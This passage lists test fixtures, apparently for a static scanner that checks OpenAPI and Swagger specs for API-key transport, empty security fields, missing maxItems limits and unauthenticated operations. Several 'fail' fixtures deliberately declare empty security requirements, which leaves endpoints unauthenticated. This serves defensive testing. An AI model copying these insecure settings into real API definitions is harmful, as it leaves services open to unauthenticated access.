    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"Simple API overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"servers\": [\n    {\n      \"url\": \"https://localhost:8000\",\n      \"description\": \"Local server\"\n    }\n  ],\n  \"paths\": {\n    \"/pets\": {\n      \"post\": {\n        \"description\": \"Creates a new pet in the store\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"operationId\": \"addPet\",\n        \"security\": [\n          {\n            \"apiKey1\": [],\n            \"apiKey2\": [],\n            \"apiKey3\": []\n          }\n        ]\n      }\n    }\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"apiKey1\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"header\"\n      },\n      \"apiKey2\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"cookie\"\n      },\n      \"apiKey3\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"query\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass4.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: Simple API overview\n  version: 1.0.0\nservers:\n  - url: https://localhost:8000\n    description: Local server\npaths:\n  /pets:\n    post:\n      description: Creates a new pet in the store\n      responses:\n        '200':\n          description: 200 response\n      operationId: addPet\n      security:\n        - apiKey1: []\n          apiKey2: []\n          apiKey3: []\ncomponents:\n  securitySchemes:\n    apiKey1:\n      type: apiKey\n      name: X-API-Key\n      in: header\n    apiKey2:\n      type: apiKey\n      name: X-API-Key\n      in: cookie\n    apiKey3:\n      type: apiKey\n      name: X-API-Key\n      in: query\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass5.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"Simple API overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"wss\"\n  ],\n  \"paths\": {\n    \"/pets\": {\n      \"post\": {\n        \"description\": \"Creates a new pet in the store\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"operationId\": \"addPet\",\n        \"security\": [\n          {\n            \"apiKey1\": [],\n            \"apiKey3\": []\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"apiKey1\": {\n      \"type\": \"apiKey\",\n      \"name\": \"X-API-Key\",\n      \"in\": \"header\"\n    },\n    \"apiKey3\": {\n      \"type\": \"apiKey\",\n      \"name\": \"X-API-Key\",\n      \"in\": \"query\"\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass5.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API overview\n  version: 1.0.0\nschemes:\n  - wss\npaths:\n  /pets:\n    post:\n      description: Creates a new pet in the store\n      responses:\n        \"200\":\n          description: 200 response\n      operationId: addPet\n      security:\n        - apiKey1: []\n          apiKey3: []\nsecurityDefinitions:\n  apiKey1:\n    type: apiKey\n    name: X-API-Key\n    in: header\n  apiKey3:\n    type: apiKey\n    name: X-API-Key\n    in: query\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass6.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"Simple API overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"servers\": [\n    {\n      \"url\": \"wss://example.com/socket\",\n      \"description\": \"Local server\"\n    }\n  ],\n  \"paths\": {\n    \"/pets\": {\n      \"post\": {\n        \"description\": \"Creates a new pet in the store\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"operationId\": \"addPet\",\n        \"security\": [\n          {\n            \"apiKey1\": [],\n            \"apiKey2\": [],\n            \"apiKey3\": []\n          }\n        ]\n      }\n    }\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"apiKey1\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"header\"\n      },\n      \"apiKey2\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"cookie\"\n      },\n      \"apiKey3\": {\n        \"type\": \"apiKey\",\n        \"name\": \"X-API-Key\",\n        \"in\": \"query\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass6.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: Simple API overview\n  version: 1.0.0\nservers:\n  - url: wss://example.com/socket\n    description: Local server\npaths:\n  /pets:\n    post:\n      description: Creates a new pet in the store\n      responses:\n        '200':\n          description: 200 response\n      operationId: addPet\n      security:\n        - apiKey1: []\n          apiKey2: []\n          apiKey3: []\ncomponents:\n  securitySchemes:\n    apiKey1:\n      type: apiKey\n      name: X-API-Key\n      in: header\n    apiKey2:\n      type: apiKey\n      name: X-API-Key\n      in: cookie\n    apiKey3:\n      type: apiKey\n      name: X-API-Key\n      in: query\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_GlobalSecurityFieldIsEmpty/fail.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"security\": []\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_GlobalSecurityFieldIsEmpty/fail.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: Simple API overview\n  version: 1.0.0\nsecurity: []\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_GlobalSecurityFieldIsEmpty/pass.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"security\": [\n    {\n      \"test\": []\n    }\n  ],\n  \"components\": {\n    \"securitySchemes\": [\n      {\n        \"test\": {\n          \"type\": \"http\",\n          \"scheme\": \"basic\"\n        }\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_GlobalSecurityFieldIsEmpty/pass.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: test\n  version: 1.0.0\nsecurity:\n- test: []\ncomponents:\n  securitySchemes:\n  - test:\n      type: http\n      scheme: basic\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"Simple API Overview\",\n    \"version\": \"1.0.0\",\n    \"contact\": {\n      \"name\": \"contact\",\n      \"url\": \"https://www.google.com/\",\n      \"email\": \"user@gmail.com\"\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"content\": {\n              \"application/json\": {\n                \"examples\": {\n                  \"foo\": {\n                    \"value\": {\n                      \"versions\": [\n                        {\n                          \"status\": \"CURRENT\",\n                          \"updated\": \"2011-01-21T11:33:21Z\",\n                          \"id\": \"v2.0\",\n                          \"links\": [\n                            {\n                              \"href\": \"http://127.0.0.1:8774/v2/\",\n                              \"rel\": \"self\"\n                            }\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  },\n  \"components\": {\n    \"schemas\": {\n      \"GeneralError\": {\n        \"properties\": {\n          \"code\": {\n            \"type\": \"string\",\n            \"format\": \"int32\"\n          },\n          \"message\": {\n            \"type\": \"array\",\n            \"items\": {\n              \"type\": \"string\"\n            }\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: Simple API Overview\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n          content:\n            application/json:\n              schema:\n                properties:\n                  code:\n                    type: string\n                    format: int32\n                  message:\n                    type: array\n                    items:\n                      type: string\n              examples:\n                foo:\n                  value:\n                    versions:\n                      - status: CURRENT\n                        updated: \"2011-01-21T11:33:21Z\"\n                        id: v2.0\n                        links:\n                          - href: http://127.0.0.1:8774/v2/\n                            rel: self\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail2.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"Simple API Overview\",\n    \"version\": \"1.0.0\",\n    \"contact\": {\n      \"name\": \"contact\",\n      \"url\": \"https://www.google.com/\",\n      \"email\": \"user@gmail.com\"\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"properties\": {\n                    \"code\": {\n                      \"type\": \"string\",\n                      \"format\": \"int32\"\n                    },\n                    \"message\": {\n                      \"type\": \"array\",\n                      \"items\": {\n                        \"type\": \"string\"\n                      }\n                    }\n                  }\n                },\n                \"examples\": {\n                  \"foo\": {\n                    \"value\": {\n                      \"versions\": [\n                        {\n                          \"status\": \"CURRENT\",\n                          \"updated\": \"2011-01-21T11:33:21Z\",\n                          \"id\": \"v2.0\",\n                          \"links\": [\n                            {\n                              \"href\": \"http://127.0.0.1:8774/v2/\",\n                              \"rel\": \"self\"\n                            }\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail2.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API Overview\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n    parameters:\n      - name: id\n        in: body\n        description: ID of pet to use\n        required: true\n        schema:\n          properties:\n            code:\n              type: string\n              format: int32\n            message:\n              type: array\n              items:\n                type: string\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail3.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"Simple API Overview\",\n    \"version\": \"1.0.0\",\n    \"contact\": {\n      \"name\": \"contact\",\n      \"url\": \"https://www.google.com/\",\n      \"email\": \"user@gmail.com\"\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        }\n      },\n      \"parameters\": [\n        {\n          \"schema\": {\n            \"properties\": {\n              \"code\": {\n                \"type\": \"string\",\n                \"format\": \"int32\"\n              },\n              \"message\": {\n                \"type\": \"array\",\n                \"items\": {\n                  \"type\": \"string\"\n                }\n              }\n            }\n          },\n          \"name\": \"id\",\n          \"in\": \"body\",\n          \"description\": \"ID of pet to use\",\n          \"required\": true\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail3.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: Simple API Overview\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n          content:\n            application/json:\n              examples:\n                foo:\n                  value:\n                    versions:\n                      - status: CURRENT\n                        updated: \"2011-01-21T11:33:21Z\"\n                        id: v2.0\n                        links:\n                          - href: http://127.0.0.1:8774/v2/\n                            rel: self\ncomponents:\n  schemas:\n    GeneralError:\n      properties:\n        code:\n          type: string\n          format: int32\n        message:\n          type: array\n          items:\n            type: string\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"Simple API Overview\",\n    \"version\": \"1.0.0\",\n    \"contact\": {\n      \"name\": \"contact\",\n      \"url\": \"https://www.google.com/\",\n      \"email\": \"user@gmail.com\"\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"content\": {\n              \"application/json\": {\n                \"examples\": {\n                  \"foo\": {\n                    \"value\": {\n                      \"versions\": [\n                        {\n                          \"status\": \"CURRENT\",\n                          \"updated\": \"2011-01-21T11:33:21Z\",\n                          \"id\": \"v2.0\",\n                          \"links\": [\n                            {\n                              \"href\": \"http://127.0.0.1:8774/v2/\",\n                              \"rel\": \"self\"\n                            }\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  },\n  \"components\": {\n    \"schemas\": {\n      \"GeneralError\": {\n        \"properties\": {\n          \"code\": {\n            \"type\": \"string\",\n            \"format\": \"int32\"\n          },\n          \"message\": {\n            \"type\": \"array\",\n            \"maxItems\": 5,\n            \"items\": {\n              \"type\": \"string\"\n            }\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: Simple API Overview\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n          content:\n            application/json:\n              examples:\n                foo:\n                  value:\n                    versions:\n                      - status: CURRENT\n                        updated: \"2011-01-21T11:33:21Z\"\n                        id: v2.0\n                        links:\n                          - href: http://127.0.0.1:8774/v2/\n                            rel: self\ncomponents:\n  schemas:\n    GeneralError:\n      properties:\n        code:\n          type: string\n          format: int32\n        message:\n          type: array\n          maxItems: 5\n          items:\n            type: string\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass2.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"Simple API Overview\",\n    \"version\": \"1.0.0\",\n    \"contact\": {\n      \"name\": \"contact\",\n      \"url\": \"https://www.google.com/\",\n      \"email\": \"user@gmail.com\"\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"properties\": {\n                    \"code\": {\n                      \"type\": \"string\",\n                      \"format\": \"int32\"\n                    },\n                    \"message\": {\n                      \"type\": \"array\",\n                      \"maxItems\": 5,\n                      \"items\": {\n                        \"type\": \"string\"\n                      }\n                    }\n                  }\n                },\n                \"examples\": {\n                  \"foo\": {\n                    \"value\": {\n                      \"versions\": [\n                        {\n                          \"status\": \"CURRENT\",\n                          \"updated\": \"2011-01-21T11:33:21Z\",\n                          \"id\": \"v2.0\",\n                          \"links\": [\n                            {\n                              \"href\": \"http://127.0.0.1:8774/v2/\",\n                              \"rel\": \"self\"\n                            }\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass2.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: Simple API Overview\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n          content:\n            application/json:\n              schema:\n                properties:\n                  code:\n                    type: string\n                    format: int32\n                  message:\n                    type: array\n                    maxItems: 5\n                    items:\n                      type: string\n              examples:\n                foo:\n                  value:\n                    versions:\n                      - status: CURRENT\n                        updated: \"2011-01-21T11:33:21Z\"\n                        id: v2.0\n                        links:\n                          - href: http://127.0.0.1:8774/v2/\n                            rel: self\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass3.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"Simple API Overview\",\n    \"version\": \"1.0.0\",\n    \"contact\": {\n      \"name\": \"contact\",\n      \"url\": \"https://www.google.com/\",\n      \"email\": \"user@gmail.com\"\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        }\n      },\n      \"parameters\": [\n        {\n          \"schema\": {\n            \"properties\": {\n              \"code\": {\n                \"type\": \"string\",\n                \"format\": \"int32\"\n              },\n              \"message\": {\n                \"type\": \"array\",\n                \"maxItems\": 5,\n                \"items\": {\n                  \"type\": \"string\"\n                }\n              }\n            }\n          },\n          \"name\": \"id\",\n          \"in\": \"body\",\n          \"description\": \"ID of pet to use\",\n          \"required\": true\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass3.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API Overview\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n    parameters:\n      - name: id\n        in: body\n        description: ID of pet to use\n        required: true\n        schema:\n          properties:\n            code:\n              type: string\n              format: int32\n            message:\n              type: array\n              maxItems: 5\n              items:\n                type: string\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/fail1.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"id\",\n        \"summary\": \"example\",\n        \"security\": [\n          {\n            \"OAuth2\": [\n              \"admin\"\n            ]\n          }\n        ],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"content\": {\n              \"application/json\": {\n                \"examples\": {\n                  \"foo\": {\n                    \"value\": {\n                      \"versions\": [\n                        {\n                          \"status\": \"CURRENT\",\n                          \"updated\": \"2011-01-21T11:33:21Z\",\n                          \"id\": \"v2.0\",\n                          \"links\": [\n                            {\n                              \"href\": \"http://127.0.0.1:8774/v2/\",\n                              \"rel\": \"self\"\n                            }\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    },\n    \"/apis\": {\n      \"get\": {\n        \"operationId\": \"id2\",\n        \"summary\": \"example2\",\n        \"security\": [],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"content\": {\n              \"application/json\": {\n                \"examples\": {\n                  \"foo\": {\n                    \"value\": {\n                      \"versions\": [\n                        {\n                          \"status\": \"CURRENT\",\n                          \"updated\": \"2011-01-21T11:33:21Z\",\n                          \"id\": \"v2.0\",\n                          \"links\": [\n                            {\n                              \"href\": \"http://127.0.0.1:8774/v2/\",\n                              \"rel\": \"self\"\n                            }\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  },\n  \"security\": [\n    {\n      \"OAuth2\": [\n        \"read\"\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/fail1.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: id\n      summary: example\n      security:\n      - OAuth2:\n        - admin\n      responses:\n        '200':\n          description: 200 response\n          content:\n            application/json:\n              examples:\n                foo:\n                  value:\n                    versions:\n                    - status: CURRENT\n                      updated: '2011-01-21T11:33:21Z'\n                      id: v2.0\n                      links:\n                      - href: http://127.0.0.1:8774/v2/\n                        rel: self\n  \"/apis\":\n    get:\n      operationId: id2\n      summary: example2\n      security: []\n      responses:\n        '200':\n          description: 200 response\n          content:\n            application/json:\n              examples:\n                foo:\n                  value:\n                    versions:\n                    - status: CURRENT\n                      updated: '2011-01-21T11:33:21Z'\n                      id: v2.0\n                      links:\n                      - href: http://127.0.0.1:8774/v2/\n                        rel: self\nsecurity:\n- OAuth2:\n  - read"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/fail2.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"example\",\n        \"security\": [],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"content\": {\n              \"application/json\": {\n                \"examples\": {\n                  \"foo\": {\n                    \"value\": {\n                      \"versions\": [\n                        {\n                          \"status\": \"CURRENT\",\n                          \"updated\": \"2011-01-21T11:33:21Z\",\n                          \"id\": \"v2.0\",\n                          \"links\": [\n                            {\n                              \"href\": \"http://127.0.0.1:8774/v2/\",\n                              \"rel\": \"self\"\n                            }\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  },\n  \"security\": [\n    {\n      \"OAuth2\": [\n        \"read\"\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/fail2.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: id\n      summary: example\n      security: []\n      responses:\n        '200':\n          description: 200 response\n          content:\n            application/json:\n              examples:\n                foo:\n                  value:\n                    versions:\n                    - status: CURRENT\n                      updated: '2011-01-21T11:33:21Z'\n                      id: v2.0\n                      links:\n                      - href: http://127.0.0.1:8774/v2/\n                        rel: self\nsecurity:\n- OAuth2:\n  - read"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/fail3.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\",\n    \"contact\": {\n      \"name\": \"contact\",\n      \"url\": \"https://www.google.com/\",\n      \"email\": \"user@gmail.com\"\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"id\",\n        \"summary\": \"example\",\n        \"security\": [],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"schema\": {\n              \"type\": \"object\",\n              \"properties\": {\n                \"code\": {\n                  \"type\": \"integer\",\n                  \"format\": \"int32\"\n                },\n                \"message\": {\n                  \"type\": \"string\"\n                }\n              },\n              \"required\": [\n                \"code\",\n                \"message\"\n              ]\n            }\n          }\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/fail3.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: example\n  version: 1.0.0\n  contact:\n    name: contact\n    url: https://www.google.com/\n    email: user@gmail.com\npaths:\n  \"/\":\n    get:\n      operationId: id\n      summary: example\n      security: []\n      responses:\n        \"200\":\n          description: 200 response\n          schema:\n            type: object\n            properties:\n              code:\n                type: integer\n                format: int32\n              message:\n                type: string\n            required:\n              - code\n              - message"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/fail4.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"id\",\n        \"summary\": \"example\",\n        \"security\": [\n          {\n            \"OAuth2\": [\n              \"admin\"\n            ]\n          }\n        ],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"content\": {\n              \"application/json\": {\n                \"examples\": {\n                  \"foo\": {\n                    \"value\": {\n                      \"versions\": [\n                        {\n                          \"status\": \"CURRENT\",\n                          \"updated\": \"2011-01-21T11:33:21Z\",\n                          \"id\": \"v2.0\",\n                          \"links\": [\n                            {\n                              \"href\": \"http://127.0.0.1:8774/v2/\",\n                              \"rel\": \"self\"\n                            }\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      },\n      \"patch\": {\n        \"operationId\": \"id2\",\n        \"summary\": \"example2\",\n        \"security\": [],\n        \"responses\": {\n          \"204\": {\n            \"description\": \"204 response\"\n          }\n        }\n      }\n    }\n  },\n  \"security\": [\n    {\n      \"OAuth2\": [\n        \"read\"\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/fail4.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: id\n      summary: example\n      security:\n      - OAuth2:\n        - admin\n      responses:\n        '200':\n          description: 200 response\n          content:\n            application/json:\n              examples:\n                foo:\n                  value:\n                    versions:\n                    - status: CURRENT\n                      updated: '2011-01-21T11:33:21Z'\n                      id: v2.0\n                      links:\n                      - href: http://127.0.0.1:8774/v2/\n                        rel: self\n    patch:\n      operationId: id2\n      summary: example2\n      security: []\n      responses:\n        '204':\n          description: 204 response\nsecurity:\n- OAuth2:\n  - read"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/pass1.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"id\",\n        \"summary\": \"example\",\n        \"security\": [\n          {\n            \"OAuth2\": [\n              \"write\"\n            ]\n          }\n        ],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"content\": {\n              \"application/json\": {\n                \"examples\": {\n                  \"foo\": {\n                    \"value\": {\n                      \"versions\": [\n                        {\n                          \"status\": \"CURRENT\",\n                          \"updated\": \"2011-01-21T11:33:21Z\",\n                          \"id\": \"v2.0\",\n                          \"links\": [\n                            {\n                              \"href\": \"http://127.0.0.1:8774/v2/\",\n                              \"rel\": \"self\"\n                            }\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  },\n  \"security\": [\n    {\n      \"OAuth2\": [\n        \"read\"\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/pass1.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: example\n  version: 1.0.0\npaths:\n  \"/\":\n    get:\n      operationId: id\n      summary: example\n      security:\n        - OAuth2:\n            - write\n      responses:\n        \"200\":\n          description: 200 response\n          content:\n            application/json:\n              examples:\n                foo:\n                  value:\n                    versions:\n                      - status: CURRENT\n                        updated: \"2011-01-21T11:33:21Z\"\n                        id: v2.0\n                        links:\n                          - href: http://127.0.0.1:8774/v2/\n                            rel: self\nsecurity:\n  - OAuth2:\n      - read"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/pass2.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\",\n    \"contact\": {\n      \"name\": \"contact\",\n      \"url\": \"https://www.google.com/\",\n      \"email\": \"user@gmail.com\"\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"id\",\n        \"summary\": \"example\",\n        \"security\": [\n          {\n            \"OAuth2\": [\n              \"write\"\n            ]\n          }\n        ],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"schema\": {\n              \"type\": \"object\",\n              \"properties\": {\n                \"code\": {\n                  \"type\": \"integer\",\n                  \"format\": \"int32\"\n                },\n                \"message\": {\n                  \"type\": \"string\"\n                }\n              },\n              \"required\": [\n                \"code\",\n                \"message\"\n              ]\n            }\n          }\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/pass2.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: example\n  version: 1.0.0\n  contact:\n    name: contact\n    url: https://www.google.com/\n    email: user@gmail.com\npaths:\n  \"/\":\n    get:\n      operationId: id\n      summary: example\n      security:\n        - OAuth2:\n            - write\n      responses:\n        \"200\":\n          description: 200 response\n          schema:\n            type: object\n            properties:\n              code:\n                type: integer\n                format: int32\n              message:\n                type: string\n            required:\n              - code\n              - message\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/pass3.json",
